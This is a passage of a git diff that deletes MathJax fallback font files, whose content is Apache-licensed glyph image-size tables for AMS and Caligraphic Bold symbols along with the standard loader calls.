- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2605: [  // BLACK STAR
-      [7,6,1],[8,7,1],[9,9,2],[11,11,2],[13,12,2],[15,14,2],[18,17,3],[21,20,3],
-      [25,24,4],[30,27,4],[36,33,5],[42,39,6],[50,46,7],[60,54,8]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscTechnical.js
deleted file mode 100644
index 9cf24266..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscTechnical.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscTechnical.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2322: [  // stix-small down curve
-      [5,3,0],[6,3,0],[8,3,-1],[9,4,-1],[10,5,-1],[12,6,-1],[15,6,-2],[17,7,-2],
-      [20,8,-3],[24,9,-4],[29,11,-4],[34,13,-5],[40,15,-6],[48,17,-8]
-    ],
-    0x2323: [  // stix-small up curve
-      [5,2,-1],[6,3,-1],[8,3,-1],[9,4,-1],[11,4,-2],[13,5,-2],[15,5,-3],[17,6,-3],
-      [21,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,16,-9]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/PUA.js
deleted file mode 100644
index b5f13cc3..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/PUA.js
+++ /dev/null
@@ -1,97 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/PUA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0xE006: [  // MJ-TeX: small does not divide
-      [3,4,1],[3,5,1],[4,6,1],[4,7,1],[5,7,1],[5,9,1],[6,10,1],[7,11,1],
-      [8,13,1],[9,16,1],[11,18,1],[13,22,2],[16,26,2],[18,31,2]
-    ],
-    0xE007: [  // MJ-TeX: small not parallel
-      [4,4,1],[5,5,1],[6,6,1],[6,7,1],[7,7,1],[8,9,1],[10,10,1],[11,11,1],
-      [13,13,1],[15,16,1],[17,18,1],[21,23,2],[25,26,2],[29,31,2]
-    ],
-    0xE008: [  // MJ-TeX: greek small letter digamma (for IE)
-      [5,6,1],[6,6,1],[8,7,1],[9,9,1],[10,11,2],[12,13,2],[15,14,2],[17,17,2],
-      [20,20,3],[24,23,3],[29,28,4],[34,33,4],[40,39,5],[48,46,6]
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-    0xE009: [  // MJ-TeX: greek kappa symbol (for IE)
-      [6,4,1],[7,5,1],[8,6,1],[9,7,1],[11,7,1],[13,9,1],[15,10,1],[18,12,1],
-      [21,13,1],[25,16,1],[29,19,1],[35,22,1],[41,25,1],[49,30,1]
-    ],
-    0xE00C: [  // MJ-TeX: less over not-equal
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-      [20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]
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-    0xE00D: [  // MJ-TeX: greater over not-equal
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-    0xE00E: [  // MJ-TeX: not greater, double equals
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-      [20,38,12],[23,45,14],[28,53,17],[33,63,20],[39,75,24],[46,89,28]
-    ],
-    0xE00F: [  // MJ-TeX: not greater-or-equal slanted
-      [5,9,3],[6,10,3],[7,12,4],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,27,8],
-      [20,32,9],[23,37,10],[28,44,12],[33,52,14],[39,62,17],[46,73,20]
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-    0xE010: [  // MJ-TeX: not less-or-equal, slanted
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-    0xE011: [  // MJ-TeX: not less, double equals
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-    0xE016: [  // MJ-TeX: not subset, double equals
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-    ],
-    0xE017: [  // MJ-TeX: not subset, double equals, short slash
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-    0xE018: [  // MJ-TeX: not superset, double equals
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-    0xE019: [  // MJ-TeX: not superset, double equals, short slash
-      [5,9,3],[6,10,3],[7,12,4],[9,13,4],[10,16,5],[12,19,6],[14,22,7],[17,26,8],
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-    0xE01A: [  // MJ-TeX: not subset or equal, short slash
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-    0xE01B: [  // MJ-TeX: not superset or equal, short slash
-      [5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],
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-    ]
-  }
-});
-
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-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SpacingModLetters.js
deleted file mode 100644
index af4cae18..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SpacingModLetters.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SpacingModLetters.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [18,3,-3],[21,3,-4],[25,3,-5],[29,4,-6],[34,5,-8],[40,5,-9],[47,6,-11],[56,8,-12],
-      [66,8,-16],[79,10,-19],[93,12,-21],[110,14,-26],[131,17,-30],[156,20,-36]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [17,2,-4],[21,2,-5],[24,4,-5],[29,5,-7],[34,4,-9],[40,5,-10],[47,6,-12],[56,6,-15],
-      [66,8,-17],[78,9,-21],[93,11,-25],[110,13,-29],[130,15,-35],[155,18,-41]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SuppMathOperators.js
deleted file mode 100644
index 0f3ca3b0..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/SuppMathOperators.js
+++ /dev/null
@@ -1,125 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/SuppMathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2A5E: [  // LOGICAL AND WITH DOUBLE OVERBAR
-      [4,7,1],[5,8,1],[6,9,1],[7,12,2],[8,14,2],[10,16,2],[11,18,2],[13,22,3],
-      [16,26,3],[19,31,4],[22,36,4],[26,43,5],[31,51,6],[37,61,7]
-    ],
-    0x2A7D: [  // LESS-THAN OR SLANTED EQUAL TO
-      [5,7,2],[6,8,2],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,44,8],[48,51,9]
-    ],
-    0x2A7E: [  // GREATER-THAN OR SLANTED EQUAL TO
-      [5,7,2],[6,8,2],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,51,9]
-    ],
-    0x2A85: [  // LESS-THAN OR APPROXIMATE
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]
-    ],
-    0x2A86: [  // GREATER-THAN OR APPROXIMATE
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,30,8],[24,36,10],[29,42,12],[34,50,14],[40,59,16],[48,70,19]
-    ],
-    0x2A87: [  // LESS-THAN AND SINGLE-LINE NOT EQUAL TO
-      [5,7,2],[6,9,3],[7,10,3],[9,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],
-      [20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,14],[46,58,16]
-    ],
-    0x2A88: [  // GREATER-THAN AND SINGLE-LINE NOT EQUAL TO
-      [5,7,2],[6,9,3],[7,10,3],[9,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],
-      [20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,14],[46,58,16]
-    ],
-    0x2A89: [  // LESS-THAN AND NOT APPROXIMATE
-      [5,9,3],[6,11,4],[8,12,4],[9,14,5],[10,17,6],[12,20,7],[14,23,8],[17,27,9],
-      [20,33,11],[24,39,13],[29,46,16],[34,54,18],[40,65,22],[48,77,26]
-    ],
-    0x2A8A: [  // GREATER-THAN AND NOT APPROXIMATE
-      [5,9,3],[6,11,4],[8,12,4],[9,14,5],[10,17,6],[12,20,7],[14,23,8],[17,27,9],
-      [20,33,11],[24,39,13],[29,46,16],[34,54,18],[40,65,22],[48,77,26]
-    ],
-    0x2A8B: [  // LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN
-      [5,11,4],[6,13,4],[7,15,5],[9,18,6],[10,21,7],[12,25,8],[14,30,10],[17,35,11],
-      [20,41,13],[23,49,16],[28,59,19],[33,69,22],[39,82,26],[47,97,31]
-    ],
-    0x2A8C: [  // GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN
-      [5,11,4],[6,13,4],[7,15,5],[9,18,6],[10,21,7],[12,25,8],[14,30,10],[17,35,11],
-      [20,41,13],[23,49,16],[28,59,19],[33,69,22],[39,82,26],[46,97,31]
-    ],
-    0x2A95: [  // SLANTED EQUAL TO OR LESS-THAN
-      [5,6,1],[6,8,2],[8,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[24,26,5],[28,31,6],[34,37,7],[40,43,8],[48,52,10]
-    ],
-    0x2A96: [  // SLANTED EQUAL TO OR GREATER-THAN
-      [5,6,1],[6,8,2],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,43,8],[46,52,10]
-    ],
-    0x2AB5: [  // PRECEDES ABOVE NOT EQUAL TO
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]
-    ],
-    0x2AB6: [  // SUCCEEDS ABOVE NOT EQUAL TO
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]
-    ],
-    0x2AB7: [  // PRECEDES ABOVE ALMOST EQUAL TO
-      [5,8,2],[6,10,3],[8,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]
-    ],
-    0x2AB8: [  // SUCCEEDS ABOVE ALMOST EQUAL TO
-      [5,8,2],[6,10,3],[8,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,31,9],[24,36,10],[29,42,12],[34,50,14],[40,60,17],[48,71,20]
-    ],
-    0x2AB9: [  // PRECEDES ABOVE NOT ALMOST EQUAL TO
-      [5,9,3],[6,10,3],[8,12,4],[9,13,4],[10,16,5],[12,19,6],[15,22,7],[17,26,8],
-      [20,32,10],[24,38,12],[29,44,14],[34,52,16],[40,62,19],[48,73,22]
-    ],
-    0x2ABA: [  // SUCCEEDS ABOVE NOT ALMOST EQUAL TO
-      [5,9,3],[6,10,3],[8,12,4],[9,13,4],[10,16,5],[12,19,6],[15,22,7],[17,26,8],
-      [20,32,10],[24,38,12],[29,44,14],[34,52,16],[40,62,19],[48,73,22]
-    ],
-    0x2AC5: [  // SUBSET OF ABOVE EQUALS SIGN
-      [5,8,2],[6,9,2],[7,10,2],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[16,23,5],
-      [20,28,7],[23,33,8],[27,39,9],[32,46,11],[39,55,13],[46,65,15]
-    ],
-    0x2AC6: [  // SUPERSET OF ABOVE EQUALS SIGN
-      [5,8,2],[6,9,2],[7,10,2],[9,12,3],[10,14,3],[12,17,4],[14,19,4],[17,23,5],
-      [20,27,6],[24,32,7],[28,39,9],[33,46,10],[39,54,12],[47,64,14]
-    ],
-    0x2ACB: [  // stix-subset not double equals, variant
-      [5,9,3],[6,11,4],[7,12,4],[9,15,5],[10,17,6],[12,20,7],[14,24,8],[17,28,9],
-      [20,33,11],[23,39,13],[28,47,16],[33,55,18],[39,66,22],[46,78,26]
-    ],
-    0x2ACC: [  // SUPERSET OF ABOVE NOT EQUAL TO
-      [5,9,3],[6,11,4],[7,12,4],[9,14,5],[10,17,6],[12,20,7],[14,24,8],[17,28,9],
-      [20,33,11],[23,39,13],[28,47,16],[33,55,18],[39,66,22],[46,78,26]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
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- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_Caligraphic-bold":{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],48:[[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,16,1],[21,19,1],[25,22,1],[30,26,1],[35,32,1]],49:[[4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],[14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,25,0],[33,30,0]],50:[[4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[12,12,0],[15,13,0],[17,15,0],[21,18,0],[24,21,0],[29,26,0],[34,30,0]],51:[[4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,9,3],[9,11,3],[11,14,5],[13,17,5],[15,19,6],[18,22,7],[21,27,8],[25,31,10],[30,37,11],[35,44,13]],52:[[4,6,2],[5,6,2],[6,7,2],[7,8,2],[8,10,3],[9,11,3],[11,14,5],[13,16,5],[15,18,5],[18,22,6],[22,26,7],[26,31,9],[30,37,10],[36,44,12]],53:[[4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,10,3],[9,12,3],[11,14,5],[12,17,6],[15,19,6],[18,23,7],[21,27,8],[25,32,10],[29,38,12],[35,45,14]],54:[[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[13,17,0],[15,20,0],[18,22,1],[21,27,1],[25,32,1],[30,37,1],[35,45,1]],55:[[4,6,2],[5,7,2],[6,8,3],[7,8,2],[8,10,3],[10,12,4],[11,14,4],[13,16,5],[16,20,7],[19,23,7],[22,27,8],[26,32,10],[31,38,12],[37,45,14]],56:[[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[13,17,0],[15,19,0],[18,22,1],[21,27,1],[25,32,1],[30,38,1],[35,45,1]],57:[[4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,9,3],[9,11,3],[11,14,5],[13,17,6],[15,19,6],[18,22,7],[21,27,8],[25,31,10],[30,37,12],[35,44,14]],65:[[7,6,0],[9,7,0],[10,9,1],[12,10,0],[14,12,1],[17,14,1],[20,17,1],[23,19,1],[28,23,1],[33,27,2],[39,32,2],[46,37,2],[55,44,3],[66,52,3]],66:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],[21,19,0],[25,24,1],[29,28,1],[35,34,1],[41,40,1],[49,47,1]],67:[[5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,10,0],[10,12,0],[12,14,0],[14,16,0],[17,19,0],[20,24,1],[24,28,1],[28,34,1],[34,40,1],[40,47,1]],68:[[7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,16,0],[25,19,0],[30,24,1],[35,27,1],[42,32,1],[49,39,0],[59,46,0]],69:[[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,10,0],[11,12,0],[13,14,0],[15,16,0],[18,19,0],[21,24,1],[25,28,1],[30,34,1],[35,40,1],[42,47,1]],70:[[7,6,0],[8,7,0],[10,8,0],[11,9,0],[13,11,0],[16,13,0],[19,15,0],[22,17,0],[26,20,0],[31,24,1],[37,29,1],[44,34,1],[52,40,2],[62,48,2]],71:[[5,6,1],[6,7,1],[7,8,1],[8,10,2],[10,12,2],[12,14,2],[14,16,2],[16,19,3],[19,23,4],[23,27,4],[27,32,5],[32,38,5],[38,45,6],[45,54,8]],72:[[7,5,0],[8,6,0],[10,7,0],[12,8,0],[13,10,0],[16,12,0],[19,14,0],[22,17,1],[26,20,1],[31,24,1],[37,28,2],[44,34,2],[52,40,2],[62,48,3]],73:[[7,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,16,0],[22,19,0],[26,23,0],[32,27,0],[37,32,0],[44,38,0],[52,45,0]],74:[[7,6,1],[8,7,1],[10,8,1],[11,10,2],[13,12,2],[16,13,1],[19,16,2],[22,19,3],[26,22,3],[31,27,4],[37,31,5],[44,37,5],[52,44,6],[62,53,8]],75:[[6,5,0],[7,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[17,14,0],[20,16,0],[23,19,0],[28,24,1],[33,28,1],[39,34,1],[46,40,1],[55,47,1]],76:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],[21,19,0],[25,24,1],[30,28,1],[35,34,1],[42,40,1],[50,47,1]],77:[[10,7,1],[12,7,0],[14,8,0],[16,10,1],[19,12,1],[23,14,1],[27,16,1],[32,18,1],[38,21,1],[45,26,2],[53,30,2],[63,36,2],[75,43,3],[89,50,3]],78:[[9,7,1],[11,9,1],[12,10,1],[14,11,1],[17,13,1],[20,15,1],[23,18,1],[27,21,2],[32,25,2],[38,30,2],[45,34,2],[54,42,2],[64,50,3],[75,59,4]],79:[[7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,16,0],[25,19,0],[30,24,1],[35,28,1],[41,34,1],[49,40,1],[59,47,1]],80:[[6,6,1],[8,7,1],[9,8,1],[10,9,1],[12,11,1],[15,13,1],[17,15,1],[20,18,2],[24,21,2],[28,25,2],[34,30,3],[40,35,3],[47,42,4],[56,50,4]],81:[[7,6,1],[8,7,1],[9,8,1],[11,11,3],[13,12,2],[16,14,2],[18,17,3],[22,20,4],[26,24,5],[30,28,5],[36,33,6],[43,39,6],[51,47,8],[60,56,10]],82:[[7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],[20,14,0],[23,16,0],[28,19,0],[33,23,1],[39,27,1],[46,33,1],[55,39,1],[65,46,1]],83:[[5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],[20,19,0],[24,24,1],[29,28,1],[34,34,1],[40,40,1],[48,47,1]],84:[[7,6,1],[8,7,1],[10,8,1],[12,9,1],[14,11,1],[16,13,1],[19,15,1],[22,18,2],[27,23,2],[32,27,3],[38,32,3],[44,37,3],[53,44,4],[63,52,5]],85:[[7,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[14,12,0],[16,14,0],[19,16,0],[23,19,0],[27,24,1],[31,28,1],[37,33,1],[44,39,1],[52,47,1]],86:[[6,6,1],[7,7,1],[8,8,1],[10,9,1],[11,11,1],[13,13,1],[16,15,1],[18,18,2],[22,21,2],[26,25,2],[31,30,3],[36,36,4],[43,42,4],[51,50,5]],87:[[9,6,1],[10,7,1],[12,8,1],[15,10,2],[17,11,1],[21,13,1],[24,15,1],[28,18,2],[34,22,3],[40,26,3],[48,30,3],[57,36,4],[67,43,4],[80,51,5]],88:[[7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[16,12,0],[18,14,0],[22,16,0],[26,19,0],[30,23,0],[36,27,0],[43,32,0],[51,39,1],[60,46,0]],89:[[6,6,1],[7,8,2],[8,9,2],[10,10,2],[12,12,2],[14,15,3],[16,17,3],[19,20,4],[23,24,5],[27,28,5],[32,33,6],[38,40,8],[45,47,9],[53,56,11]],90:[[6,5,0],[8,6,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,14,0],[20,16,0],[24,19,0],[28,23,0],[34,27,0],[40,32,0],[47,38,0],[56,45,0]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Caligraphic/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Bold/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Bold/unpacked/Main.js
deleted file mode 100644
index b57fac85..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Bold/unpacked/Main.js
+++ /dev/null
@@ -1,185 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Caligraphic/Bold/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Caligraphic-bold": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,12,0],
-      [15,14,0],[18,16,1],[21,19,1],[25,22,1],[30,26,1],[35,32,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,25,0],[33,30,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[12,12,0],
-      [15,13,0],[17,15,0],[21,18,0],[24,21,0],[29,26,0],[34,30,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,9,3],[9,11,3],[11,14,5],[13,17,5],
-      [15,19,6],[18,22,7],[21,27,8],[25,31,10],[30,37,11],[35,44,13]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,6,2],[5,6,2],[6,7,2],[7,8,2],[8,10,3],[9,11,3],[11,14,5],[13,16,5],
-      [15,18,5],[18,22,6],[22,26,7],[26,31,9],[30,37,10],[36,44,12]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,10,3],[9,12,3],[11,14,5],[12,17,6],
-      [15,19,6],[18,23,7],[21,27,8],[25,32,10],[29,38,12],[35,45,14]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[13,17,0],
-      [15,20,0],[18,22,1],[21,27,1],[25,32,1],[30,37,1],[35,45,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,6,2],[5,7,2],[6,8,3],[7,8,2],[8,10,3],[10,12,4],[11,14,4],[13,16,5],
-      [16,20,7],[19,23,7],[22,27,8],[26,32,10],[31,38,12],[37,45,14]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[9,11,0],[11,13,0],[13,17,0],
-      [15,19,0],[18,22,1],[21,27,1],[25,32,1],[30,38,1],[35,45,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,2],[5,6,2],[6,7,2],[7,8,3],[8,9,3],[9,11,3],[11,14,5],[13,17,6],
-      [15,19,6],[18,22,7],[21,27,8],[25,31,10],[30,37,12],[35,44,14]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [7,6,0],[9,7,0],[10,9,1],[12,10,0],[14,12,1],[17,14,1],[20,17,1],[23,19,1],
-      [28,23,1],[33,27,2],[39,32,2],[46,37,2],[55,44,3],[66,52,3]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,24,1],[29,28,1],[35,34,1],[41,40,1],[49,47,1]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,5,0],[5,6,0],[6,7,0],[8,8,0],[9,10,0],[10,12,0],[12,14,0],[14,16,0],
-      [17,19,0],[20,24,1],[24,28,1],[28,34,1],[34,40,1],[40,47,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [7,5,0],[8,6,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[18,14,0],[21,16,0],
